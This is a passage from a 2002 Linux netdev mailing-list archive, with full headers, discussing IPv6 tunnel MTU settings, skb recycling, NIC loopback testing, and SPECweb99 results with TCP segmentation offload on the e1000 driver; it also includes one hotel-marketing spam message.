From pb@bieringer.de Mon Sep 2 00:06:37 2002 Received: with ECARTIS (v1.0.0; list netdev); Mon, 02 Sep 2002 00:06:39 -0700 (PDT) Received: from titan.bieringer.de (mail.bieringer.de [195.226.187.51]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8276ZtG022534 for ; Mon, 2 Sep 2002 00:06:36 -0700 Received: (qmail 14055 invoked from network); 2 Sep 2002 07:10:21 -0000 Received: from pd9e4e015.dip.t-dialin.net (217.228.224.21) by mail.bieringer.de with SMTP; 2 Sep 2002 07:10:21 -0000 Date: Mon, 02 Sep 2002 09:10:19 +0200 From: Peter Bieringer To: Maillist netdev Subject: IPv6 MTU of a tunnel: 2 different switches, which wins? Message-ID: <10010000.1030950619@localhost> X-Mailer: Mulberry/2.2.1 (Linux/x86) X-URL: http://www.bieringer.de/pb/ X-OS: Linux MIME-Version: 1.0 Content-type: text/plain Content-Transfer-Encoding: 8bit X-archive-position: 60 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: pb@bieringer.de Precedence: bulk X-list: netdev Content-Length: 1182 Lines: 62 Hi, sure here anyone can help me: Let's say I have an internet connection via PPPoE through ppp0/eth1 MTU eth1: 1500 MTU ppp0: 1492 Over this connection, an IPv6 (named tun6to4) tunnel will be established. Now I have 2 different switches to adjust the MTU of the tunnel. a) using utility ip b) using sysctl After unmodified MTU setup: a) # ip link show dev tun6to4 | grep -w mtu 42: tun6to4@NONE: mtu 1480 qdisc noqueue b) # sysctl -a| grep tun6to4 | grep mtu net.ipv6.conf.tun6to4.mtu = 1480 But proper MTU will be MTU tun6to4: 1472 MTU(ppp0) - 20 for IPv4 header where to proper set now? 1) via ip 2) via sysctl in net.ipv6.conf.tun6to4.mtu 3) both switches BTW: host should act either as router or standalone. Thanks for any clarifies, Peter --- Dr. Peter Bieringer mailto: pb at bieringer dot de http://www.bieringer.de/pb/ Key 0x958F422D : B501 24F4 9418 23E2 C0F3 F833 7B57 AA7B 958F 422D -- Attached file included as plaintext by Ecartis -- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) iD8DBQE9cw7ce1eqe5WPQi0RAt7BAKDbIkoPEImZ0lhlzSadipAn7AsZlACff1Cs Ap2x3BNiHfIxe6/sD7lqxDU= =8Ya4 -----END PGP SIGNATURE----- From manand@us.ibm.com Mon Sep 2 20:43:36 2002 Received: with ECARTIS (v1.0.0; list netdev); Mon, 02 Sep 2002 20:43:40 -0700 (PDT) Received: from e35.co.us.ibm.com (e35.co.us.ibm.com [32.97.110.133]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g833hZtG032073 for ; Mon, 2 Sep 2002 20:43:36 -0700 Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.17.194.23]) by e35.co.us.ibm.com (8.12.2/8.12.2) with ESMTP id g833lHBA107276; Mon, 2 Sep 2002 23:47:18 -0400 Received: from d03nm123.boulder.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay02.boulder.ibm.com (8.12.3/NCO/VER6.4) with ESMTP id g833lGlA251270; Mon, 2 Sep 2002 21:47:16 -0600 Subject: Re: [Lse-tech] Re: (RFC): SKB Initialization To: jamal Cc: Bill Hartner , davem@redhat.com, linux-kernel@vger.kernel.org, Mala Anand , netdev@oss.sgi.com, Robert Olsson X-Mailer: Lotus Notes Release 5.0.3 (Intl) 21 March 2000 Message-ID: From: "Mala Anand" Date: Mon, 2 Sep 2002 22:47:13 -0500 X-MIMETrack: Serialize by Router on D03NM123/03/M/IBM(Release 5.0.10 |March 22, 2002) at 09/02/2002 09:47:16 PM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii X-archive-position: 61 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: manand@us.ibm.com Precedence: bulk X-list: netdev Content-Length: 1546 Lines: 47 >On Tue, 27 Aug 2002, Mala Anand wrote: >> SPECweb99 profile shows that __kfree_skb is in the top 5 hot routines. We >> will test the skb recycle patch on SPECweb99 and add skbinit patch >> to that and see how it helps. What I understand is that the skb recycle >> patch does not attempt to recycle if the skbs are allocated on CPU >> and freed on another CPU. Is that right? If so, skbinit patch will help >> those cases. >yes it will. Not significant is my current thinking. i.e i wouldn't write >my mother to tell her about it. I have not looked at Robert's recycle skb patch yet. I couldn't find it in the link he sent me so I don't know how it works. However I thought about it a little more and realized that even when you recycle the skbs, they need to be initialized (cleaned up). I don't understand how can the recycle skb patch avoid calling constructors and destructors for the skb. The skbs are given back to the driver instead of freeing to the skb hot list or to the slab. That does not eliminate the part of the code of kfree_skb which releases dst, initializes part of skb and executes destructor. Tell me if I am wrong but wouldn't it break the code. So I do think that recycle skb patch will not mitigate the benefits of the skb init patch. Regards, Mala Mala Anand IBM Linux Technology Center - Kernel Performance E-mail:manand@us.ibm.com http://www-124.ibm.com/developerworks/opensource/linuxperf http://www-124.ibm.com/developerworks/projects/linuxperf Phone:838-8088; Tie-line:678-8088 From rusty@samba.org Mon Sep 2 22:00:45 2002 Received: with ECARTIS (v1.0.0; list netdev); Mon, 02 Sep 2002 22:01:01 -0700 (PDT) Received: from lists.samba.org (dp.samba.org [66.70.73.150]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8350itG001057 for ; Mon, 2 Sep 2002 22:00:45 -0700 Received: by lists.samba.org (Postfix, from userid 590) id 4052F2C414; Tue, 3 Sep 2002 01:04:41 -0400 (EDT) From: Rusty Russell To: netdev@oss.sgi.com Cc: kuznet@ms2.inr.ac.ru, anton@samba.org Subject: "Loopback" route through two cards? Date: Tue, 03 Sep 2002 15:04:47 +1000 Message-Id: <20020903050441.4052F2C414@lists.samba.org> X-archive-position: 62 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rusty@rustcorp.com.au Precedence: bulk X-list: netdev Content-Length: 315 Lines: 10 Hi all, I know this is an FAQ, but I never saw an answer I liked. We want to stress-test a couple of gigabit NICs by connecting them to each other and routing packets out one and into the other. Is this still impossible without nat? Rusty. -- Anyone who quotes me in their sig is an idiot. -- Rusty Russell. From hadi@cyberus.ca Tue Sep 3 04:34:24 2002 Received: with ECARTIS (v1.0.0; list netdev); Tue, 03 Sep 2002 04:34:28 -0700 (PDT) Received: from cyberus.ca (mail.cyberus.ca [216.191.240.111]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g83BYHtG020925 for ; Tue, 3 Sep 2002 04:34:24 -0700 Received: from shell.cyberus.ca (shell [216.191.240.114]) by cyberus.ca (8.9.3/8.9.3/Cyberus Online Inc.) with ESMTP id HAA11016; Tue, 3 Sep 2002 07:38:02 -0400 (EDT) Received: from localhost (hadi@localhost) by shell.cyberus.ca (8.11.6+Sun/8.11.6) with ESMTP id g83BUkh07839; Tue, 3 Sep 2002 07:31:14 -0400 (EDT) X-Authentication-Warning: shell.cyberus.ca: hadi owned process doing -bs Date: Tue, 3 Sep 2002 07:30:46 -0400 (EDT) From: jamal To: Rusty Russell @shell.cyberus.ca@shell.cyberus.ca cc: , , Subject: Re: "Loopback" route through two cards? In-Reply-To: <20020903050441.4052F2C414@lists.samba.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 64 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hadi@cyberus.ca Precedence: bulk X-list: netdev Content-Length: 550 Lines: 23 Unless you are trying to stress test NAT, i wouldnt go the NAT path. Have you looked at the packet generator in 2.4.19? With it you can bypass IP totaly. cheers, jamal On Tue, 3 Sep 2002, Rusty Russell wrote: > Hi all, > > I know this is an FAQ, but I never saw an answer I liked. We > want to stress-test a couple of gigabit NICs by connecting them to > each other and routing packets out one and into the other. Is this > still impossible without nat? > > Rusty. > -- > Anyone who quotes me in their sig is an idiot. -- Rusty Russell. > From kuznet@ms2.inr.ac.ru Tue Sep 3 05:52:38 2002 Received: with ECARTIS (v1.0.0; list netdev); Tue, 03 Sep 2002 05:52:41 -0700 (PDT) Received: from sex.inr.ac.ru (sex.inr.ac.ru [193.233.7.165]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g83CqZtG023177 for ; Tue, 3 Sep 2002 05:52:38 -0700 Received: (from kuznet@localhost) by sex.inr.ac.ru (8.6.13/ANK) id QAA02008; Tue, 3 Sep 2002 16:54:44 +0400 From: kuznet@ms2.inr.ac.ru Message-Id: <200209031254.QAA02008@sex.inr.ac.ru> Subject: Re: "Loopback" route through two cards? To: rusty@rustcorp.com.au (Rusty Russell) Date: Tue, 3 Sep 2002 16:54:44 +0400 (MSD) Cc: netdev@oss.sgi.com, anton@samba.org In-Reply-To: <20020903050441.4052F2C414@lists.samba.org> from "Rusty Russell" at Sep 3, 2 03:04:47 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 X-archive-position: 65 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: kuznet@ms2.inr.ac.ru Precedence: bulk X-list: netdev Content-Length: 655 Lines: 24 Hello! > I know this is an FAQ, but I never saw an answer I liked. And what kind of answers do you like? :-) > still impossible It depends on sense which you put to "impossible". There are two problems with this: 1. You cannot send to local address via any device but loopback. The only way to override this is to use explicit SO_BINDTODEVICE on sending socket. Hence, it is "impossible" not changing application. 2. You cannot receive packets with local address from any device but loopback. This is impossible, but wthis time without not editing kernel, removing the check for local addresses in fib_validate_source(). Alexey From Eric.Lemoine@sun.com Wed Sep 4 02:22:45 2002 Received: with ECARTIS (v1.0.0; list netdev); Wed, 04 Sep 2002 02:22:49 -0700 (PDT) Received: from s1.smtp.oleane.net (s1.smtp.oleane.net [195.25.12.3]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g849MitG022505 for ; Wed, 4 Sep 2002 02:22:44 -0700 Received: from gbl-dhcp-198-223.europe.research.sun.com ([194.2.198.223]) by s1.smtp.oleane.net with ESMTP id g849QjMv011819 for ; Wed, 4 Sep 2002 11:26:45 +0200 Received: from eric by (null) with local (MasqMail 0.1.16) id 17mWQv-0E9-00 for netdev@oss.sgi.com; Wed, 04 Sep 2002 11:26:45 +0200 Date: Wed, 4 Sep 2002 11:26:45 +0200 From: Eric Lemoine To: netdev@oss.sgi.com Subject: Re: "Loopback" route through two cards? Message-ID: <20020904092644.GF329@hookipa> References: <20020903050441.4052F2C414@lists.samba.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.28i X-Warning: return path set from From: address X-archive-position: 69 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: Eric.Lemoine@sun.com Precedence: bulk X-list: netdev Content-Length: 278 Lines: 13 > Unless you are trying to stress test NAT, i wouldnt go the NAT path. > Have you looked at the packet generator in 2.4.19? With it you can > bypass IP totaly. pktgen is really cool stuff! I dont see what multiskb could be used for. Does anybody know? Thx. Cheers, -- Eric From bulk@global-marketing.co.uk Wed Sep 4 15:43:51 2002 Received: with ECARTIS (v1.0.0; list netdev); Wed, 04 Sep 2002 15:44:01 -0700 (PDT) Received: from oss.sgi.com (pc-80-194-26-74-bf.blueyonder.co.uk [80.194.26.74]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g84MhntG002724 for ; Wed, 4 Sep 2002 15:43:50 -0700 Message-Id: <200209042243.g84MhntG002724@oss.sgi.com> From: "Discount Hotel Rooms" Date: Wed, 04 Sep 2002 23:47:48 To: netdev@oss.sgi.com Subject: Discounted Hotel Rooms MIME-Version: 1.0 Content-Type: text/plain;charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-archive-position: 72 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: bulk@global-marketing.co.uk Precedence: bulk X-list: netdev Dear Valued Customer We wish to 'Thank You' for booking a hotel room on one of our many popular hotel websites. You booked during the past 12 -18 months. As a loyalty bonus we are offering you some fantastic savings on hundreds of hotel rooms at our NEW DISCOUNT HOTEL ROOM SITES www.Global-Hotel-Reservations.com & www.FreeRoomz.com Visit the sites and Book Mark them for future reference www.Global-Hotel-Reservations.com & www.FreeRoomz.com Hundreds of HOTEL ROOM SPECIAL OFFERS www.Global-Hotel-Reservations.com & www.FreeRoomz.com Check availability now and BOOK your discounted hotel room www.FreeRoomz.com & www.Global-Hotel-Reservations.com 'Wishing you an enjoyable stay' from the Global hotel reservations.com team Click to browse our other travel sites: www.hotels-accommodation.co.uk (Holiday Cottages) www.hotels.in-london.co.uk (London Hotels) www.hotels.in-uk.com (UK Hotels) www.hotels.in-new-york-city.com (New York City Hotels) To opt out from receiving further news on discount accommodation, simply click reply button and type remove. From tcw@tempest.prismnet.com Thu Sep 5 11:26:17 2002 Received: with ECARTIS (v1.0.0; list netdev); Thu, 05 Sep 2002 11:26:22 -0700 (PDT) Received: from tempest.prismnet.com (root@tempest.prismnet.com [209.198.128.6]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g85IQGtG028356 for ; Thu, 5 Sep 2002 11:26:17 -0700 Received: from tempest.prismnet.com (tcw@localhost [127.0.0.1]) by tempest.prismnet.com (8.12.5/8.12.5) with ESMTP id g85IUNwf096255; Thu, 5 Sep 2002 13:30:24 -0500 (CDT) (envelope-from tcw@tempest.prismnet.com) Received: (from tcw@localhost) by tempest.prismnet.com (8.12.5/8.12.5/Submit) id g85IUMdH096254; Thu, 5 Sep 2002 13:30:22 -0500 (CDT) From: Troy Wilson Message-Id: <200209051830.g85IUMdH096254@tempest.prismnet.com> Subject: Early SPECWeb99 results on 2.5.33 with TSO on e1000 To: linux-kernel@vger.kernel.org, netdev@oss.sgi.com Date: Thu, 5 Sep 2002 13:30:22 -0500 (CDT) X-Mailer: ELM [version 2.4ME+ PL82 (25)] MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=US-ASCII X-archive-position: 73 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: tcw@tempest.prismnet.com Precedence: bulk X-list: netdev I've got some early SPECWeb [*] results with 2.5.33 and TSO on e1000. I get 2906 simultaneous connections, 99.2% conforming (i.e. faster than the 320 kbps cutoff), at 0% idle with TSO on. For comparison, with 2.5.25, I got 2656, and with 2.5.29 I got 2662, (both 99+% conformance and 0% idle) so TSO and 2.5.33 look like a Big Win. I'm having trouble testing with TSO off (I changed the #define NETIF_F_TSO to "0" in include/linux/netdevice.h to turn it off). I am getting errors. NETDEV WATCHDOG: eth1: transmit timed out e1000: eth1 NIC Link is Up 1000 Mbps Full Duplex That's pushed my SPECWeb results down to below 2500 connections with TSO off because of those adapter resets (It is only that one adapter, BTW) and these results (with TSO off) shouldn't be considered valid. eth1 is the only adapter with errors, and they all look like RX overruns. For comparison: eth1 Link encap:Ethernet HWaddr 00:02:B3:9C:F5:9E inet addr:192.168.4.1 Bcast:192.168.4.255 Mask:255.255.255.0 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:48621378 errors:8890 dropped:8890 overruns:8890 frame:0 TX packets:64342993 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:100 RX bytes:3637004554 (3468.5 Mb) TX bytes:1377740556 (1313.9 Mb) Interrupt:61 Base address:0x1200 Memory:fc020000-0 eth3 Link encap:Ethernet HWaddr 00:02:B3:A3:47:E7 inet addr:192.168.3.1 Bcast:192.168.3.255 Mask:255.255.255.0 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:37130540 errors:0 dropped:0 overruns:0 frame:0 TX packets:49061277 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:100 RX bytes:2774988658 (2646.4 Mb) TX bytes:3290541711 (3138.1 Mb) Interrupt:44 Base address:0x2040 Memory:fe120000-0 I'm still working on getting a clean run with TSO off. If anyone has any ideas for me about the timeout errors, I'd appreciate the clue. Thanks, - Troy * SPEC(tm) and the benchmark name SPECweb(tm) are registered trademarks of the Standard Performance Evaluation Corporation. This benchmarking was performed for research purposes only, and is non-compliant, with the following deviations from the rules - 1 - It was run on hardware that does not meed the SPEC availability-to-the-public criteria. The machine is an engineering sample. 2 - access_log wasn't kept for full accounting. It was being written, but deleted every 200 seconds. From scott.feldman@intel.com Thu Sep 5 13:43:39 2002 Received: with ECARTIS (v1.0.0; list netdev); Thu, 05 Sep 2002 13:43:45 -0700 (PDT) Received: from mail2.hd.intel.com (hdfdns02.hd.intel.com [192.52.58.11]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g85KhctG032665 for ; Thu, 5 Sep 2002 13:43:39 -0700 Received: from fmsmsxvs041.fm.intel.com (fmsmsxvs041.fm.intel.com [132.233.42.126]) by mail2.hd.intel.com (8.11.6/8.11.6/d: solo.mc,v 1.43 2002/08/30 20:06:11 dmccart Exp $) with SMTP id g85Klfl22182 for ; Thu, 5 Sep 2002 20:47:41 GMT Received: from FMSMSX017.fm.intel.com ([132.233.42.196]) by fmsmsxvs041.fm.intel.com (NAVGW 2.5.2.11) with SMTP id M2002090513464618419 ; Thu, 05 Sep 2002 13:46:46 -0700 Received: by fmsmsx017.fm.intel.com with Internet Mail Service (5.5.2653.19) id ; Thu, 5 Sep 2002 13:47:39 -0700 Message-ID: <288F9BF66CD9D5118DF400508B68C4460283E5BC@orsmsx113.jf.intel.com> From: "Feldman, Scott" To: "'Troy Wilson'" Cc: linux-kernel@vger.kernel.org, netdev@oss.sgi.com Subject: RE: Early SPECWeb99 results on 2.5.33 with TSO on e1000 Date: Thu, 5 Sep 2002 13:47:36 -0700 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-archive-position: 74 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: scott.feldman@intel.com Precedence: bulk X-list: netdev Troy Wilson wrote: > I've got some early SPECWeb [*] results with 2.5.33 and TSO > on e1000. I get 2906 simultaneous connections, 99.2% > conforming (i.e. faster than the 320 kbps cutoff), at 0% idle > with TSO on. For comparison, with 2.5.25, I > got 2656, and with 2.5.29 I got 2662, (both 99+% conformance > and 0% idle) so TSO and 2.5.33 look like a Big Win. A 10% bump is good. Thanks for running the numbers. > I'm having trouble testing with TSO off (I changed the > #define NETIF_F_TSO to "0" in include/linux/netdevice.h to > turn it off). I am getting errors. Sorry, I should have made a CONFIG switch. Just hack the driver for now to turn it off: --- linux-2.5/drivers/net/e1000/e1000_main.c Fri Aug 30 19:26:57 2002 +++ linux-2.5-no_tso/drivers/net/e1000/e1000_main.c Thu Sep 5 13:38:44 2002 @@ -428,9 +428,11 @@ e1000_probe(struct pci_dev *pdev, } #ifdef NETIF_F_TSO +#if 0 if(adapter->hw.mac_type >= e1000_82544) netdev->features |= NETIF_F_TSO; #endif +#endif if(pci_using_dac) netdev->features |= NETIF_F_HIGHDMA; -scott From hadi@cyberus.ca Thu Sep 5 14:02:32 2002 Received: with ECARTIS (v1.0.0; list netdev); Thu, 05 Sep 2002 14:02:35 -0700 (PDT) Received: from cyberus.ca (mail.cyberus.ca [216.191.240.111]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g85L2VtG000726 for ; Thu, 5 Sep 2002 14:02:31 -0700 Received: from shell.cyberus.ca (shell [216.191.240.114]) by cyberus.ca (8.9.3/8.9.3/Cyberus Online Inc.) with ESMTP id RAA20202; Thu, 5 Sep 2002 17:06:39 -0400 (EDT) Received: from localhost (hadi@localhost) by shell.cyberus.ca (8.11.6+Sun/8.11.6) with ESMTP id g85KxmJ20649; Thu, 5 Sep 2002 16:59:48 -0400 (EDT) X-Authentication-Warning: shell.cyberus.ca: hadi owned process doing -bs Date: Thu, 5 Sep 2002 16:59:47 -0400 (EDT) From: jamal To: Troy Wilson cc: , Subject: Re: Early SPECWeb99 results on 2.5.33 with TSO on e1000 In-Reply-To: <200209051830.g85IUMdH096254@tempest.prismnet.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 75 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hadi@cyberus.ca Precedence: bulk X-list: netdev Hey, thanks for crossposting to netdev So if i understood correctly (looking at the intel site) the main value add of this feature is probably in having the CPU avoid reassembling and retransmitting. I am willing to bet that the real value in your results is in saving on retransmits; I would think shoving the data down the NIC and avoid the fragmentation shouldnt give you that much significant CPU savings. Do you have any stats from the hardware that could show retransmits etc; have you tested this with zero copy as well (sendfile) again, if i am right you shouldnt see much benefit from that either? I would think it probably works well with things like partial ACKs too? (I am almost sure it does or someone needs to be spanked, so just checking). cheers, jamal From tcw@tempest.prismnet.com Thu Sep 5 15:07:10 2002 Received: with ECARTIS (v1.0.0; list netdev); Thu, 05 Sep 2002 15:07:15 -0700 (PDT) Received: from tempest.prismnet.com (root@tempest.prismnet.com [209.198.128.6]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g85M7AtG002019 for ; Thu, 5 Sep 2002 15:07:10 -0700 Received: from tempest.prismnet.com (tcw@localhost [127.0.0.1]) by tempest.prismnet.com (8.12.5/8.12.5) with ESMTP id g85MBGwf099388; Thu, 5 Sep 2002 17:11:17 -0500 (CDT) (envelope-from tcw@tempest.prismnet.com) Received: (from tcw@localhost) by tempest.prismnet.com (8.12.5/8.12.5/Submit) id g85MBFdm099387; Thu, 5 Sep 2002 17:11:15 -0500 (CDT) From: Troy Wilson Message-Id: <200209052211.g85MBFdm099387@tempest.prismnet.com> Subject: Re: Early SPECWeb99 results on 2.5.33 with TSO on e1000 In-Reply-To: "from jamal at Sep 5, 2002 04:59:47 pm" To: jamal Date: Thu, 5 Sep 2002 17:11:15 -0500 (CDT) CC: linux-kernel@vger.kernel.org, netdev@oss.sgi.com X-Mailer: ELM [version 2.4ME+ PL82 (25)] MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=US-ASCII X-archive-position: 76 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: tcw@tempest.prismnet.com Precedence: bulk X-list: netdev > So if i understood correctly (looking at the intel site) the main value > add of this feature is probably in having the CPU avoid reassembling and > retransmitting. Quoting David S. Miller: dsm> The performance improvement comes from the fact that the card dsm> is given huge 64K packets, then the card (using the given ip/tcp dsm> headers as a template) spits out 1500 byte mtu sized packets. dsm> dsm> Less data DMA'd to the device per normal-mtu packet and less dsm> per-packet data structure work by the cpu is where the improvement dsm> comes from. > Do you have any stats from the hardware that could show > retransmits etc; I'll gather netstat -s after runs with and without TSO enabled. Anything else you'd like to see? > have you tested this with zero copy as well (sendfile) Yes. My webserver is Apache 2.0.36, which uses sendfile for anything over 8k in size. But, iirc, Apache sends the http headers using writev. Thanks, - Troy From niv@us.ibm.com Thu Sep 5 15:35:55 2002 Received: with ECARTIS (v1.0.0; list netdev); Thu, 05 Sep 2002 15:36:00 -0700 (PDT) Received: from e2.ny.us.ibm.com (e2.ny.us.ibm.com [32.97.182.102]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g85MZstG002622 for ; Thu, 5 Sep 2002 15:35:55 -0700 Received: from northrelay03.pok.ibm.com (northrelay03.pok.ibm.com [9.56.224.151]) by e2.ny.us.ibm.com (8.12.2/8.12.2) with ESMTP id g85MdvIV127250; Thu, 5 Sep 2002 18:39:57 -0400 Received: from smtp.linux.ibm.com (ltc-eth1000.torolab.ibm.com [9.26.4.197]) by northrelay03.pok.ibm.com (8.12.3/NCO/VER6.4) with ESMTP id g85Mds4V035804; Thu, 5 Sep 2002 18:39:55 -0400 Received: from imap.linux.ibm.com (imap.linux.ibm.com [9.27.103.44]) by smtp.linux.ibm.com (Postfix) with ESMTP id 229D43FE06; Thu, 5 Sep 2002 18:39:30 -0400 (EDT) Received: by imap.linux.ibm.com (Postfix, from userid 99) id 3E76F23C00F; Thu, 5 Sep 2002 18:39:32 -0400 (EDT) Received: from 9.65.20.67 ( [9.65.20.67]) as user niv@imap.linux.ibm.com by imap.linux.ibm.com with HTTP; Thu, 5 Sep 2002 15:39:31 -0700 Message-ID: <1031265571.3d77dd23caec4@imap.linux.ibm.com> Date: Thu, 5 Sep 2002 15:39:31 -0700 From: Nivedita Singhvi To: Troy Wilson Cc: jamal , linux-kernel@vger.kernel.org, netdev@oss.sgi.com Subject: Re: Early SPECWeb99 results on 2.5.33 with TSO on e1000 References: <200209052211.g85MBFdm099387@tempest.prismnet.com> In-Reply-To: <200209052211.g85MBFdm099387@tempest.prismnet.com> MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit User-Agent: Internet Messaging Program (IMP) 3.0 X-Originating-IP: 9.65.20.67 X-archive-position: 77 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: niv@us.ibm.com Precedence: bulk X-list: netdev Quoting Troy Wilson : > > Do you have any stats from the hardware that could show > > retransmits etc; > > I'll gather netstat -s after runs with and without TSO enabled. > Anything else you'd like to see? Troy, this is pointing out the obvious, but make sure you have the before stats as well :)... > > have you tested this with zero copy as well (sendfile) > > Yes. My webserver is Apache 2.0.36, which uses sendfile for > anything > over 8k in size. But, iirc, Apache sends the http headers using > writev. SpecWeb99 doesnt execute the path that might benefit the most from this patch - sendmsg() of large files - large writes going down.. thanks, Nivedita From niv@us.ibm.com Thu Sep 5 15:44:35 2002 Received: with ECARTIS (v1.0.0; list netdev); Thu, 05 Sep 2002 15:44:37 -0700 (PDT) Received: from e1.ny.us.ibm.com (e1.ny.us.ibm.com [32.97.182.101]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g85MiYtG003464 for ; Thu, 5 Sep 2002 15:44:35 -0700 Received: from northrelay03.pok.ibm.com (northrelay03.pok.ibm.com [9.56.224.151]) by e1.ny.us.ibm.com (8.12.2/8.12.2) with ESMTP id g85MmbEG148808; Thu, 5 Sep 2002 18:48:37 -0400 Received: from smtp.linux.ibm.com (ltc-eth1000.torolab.ibm.com [9.26.4.197]) by northrelay03.pok.ibm.com (8.12.3/NCO/VER6.4) with ESMTP id g85MmY4V087024; Thu, 5 Sep 2002 18:48:34 -0400 Received: from imap.linux.ibm.com (imap.linux.ibm.com [9.27.103.44]) by smtp.linux.ibm.com (Postfix) with ESMTP id D26F73FE06; Thu, 5 Sep 2002 18:48:35 -0400 (EDT) Received: by imap.linux.ibm.com (Postfix, from userid 99) id 7BB2223C00D; Thu, 5 Sep 2002 18:48:35 -0400 (EDT) Received: from 9.65.20.67 ( [9.65.20.67]) as user niv@imap.linux.ibm.com by imap.linux.ibm.com with HTTP; Thu, 5 Sep 2002 15:48:35 -0700 Message-ID: <1031266115.3d77df4344463@imap.linux.ibm.com> Date: Thu, 5 Sep 2002 15:48:35 -0700 From: Nivedita Singhvi To: jamal Cc: Troy Wilson , linux-kernel@vger.kernel.org, netdev@oss.sgi.com Subject: Re: Early SPECWeb99 results on 2.5.33 with TSO on e1000 References: In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit User-Agent: Internet Messaging Program (IMP) 3.0 X-Originating-IP: 9.65.20.67 X-archive-position: 78 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: niv@us.ibm.com Precedence: bulk X-list: netdev Quoting jamal : > So if i understood correctly (looking at the intel site) the main > value add of this feature is probably in having the CPU avoid > reassembling and retransmitting. I am willing to bet that the real Er, even just assembling and transmitting? I'm thinking of the reduction in things like separate memory allocation calls and looking up the route, etc..?? > value in your results is in saving on retransmits; I would think > shoving the data down the NIC and avoid the fragmentation shouldnt > give you that much significant CPU savings. Do you have any stats Why do say that? Wouldnt the fact that youre now reducing the number of calls down the stack by a significant number provide a significant saving? > from the hardware that could show retransmits etc; have you tested > this with zero copy as well (sendfile) again, if i am right you > shouldnt see much benefit from that either? thanks, Nivedita From haveblue@us.ibm.com Thu Sep 5 15:58:09 2002 Received: with ECARTIS (v1.0.0; list netdev); Thu, 05 Sep 2002 15:58:13 -0700 (PDT) Received: from e35.co.us.ibm.com (e35.co.us.ibm.com [32.97.110.133]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g85Mw8tG004380 for ; Thu, 5 Sep 2002 15:58:09 -0700 Received: from westrelay05.boulder.ibm.com (westrelay05.boulder.ibm.com [9.17.193.33]) by e35.co.us.ibm.com (8.12.2/8.12.2) with ESMTP id g85N23BA086276; Thu, 5 Sep 2002 19:02:03 -0400 Received: from nighthawk.sr71.net (dyn9-47-17-248.beaverton.ibm.com [9.47.17.248]) by westrelay05.boulder.ibm.com (8.12.3/NCO/VER6.4) with ESMTP id g85N1lZL032164; Thu, 5 Sep 2002 17:01:48 -0600 Received: from us.ibm.com (nighthawk [127.0.0.1]) by nighthawk.sr71.net (8.11.6/8.11.6) with ESMTP id g85N1Wa04232; Thu, 5 Sep 2002 16:01:32 -0700 Message-ID: <3D77E24C.8020808@us.ibm.com> Date: Thu, 05 Sep 2002 16:01:32 -0700 From: Dave Hansen User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; 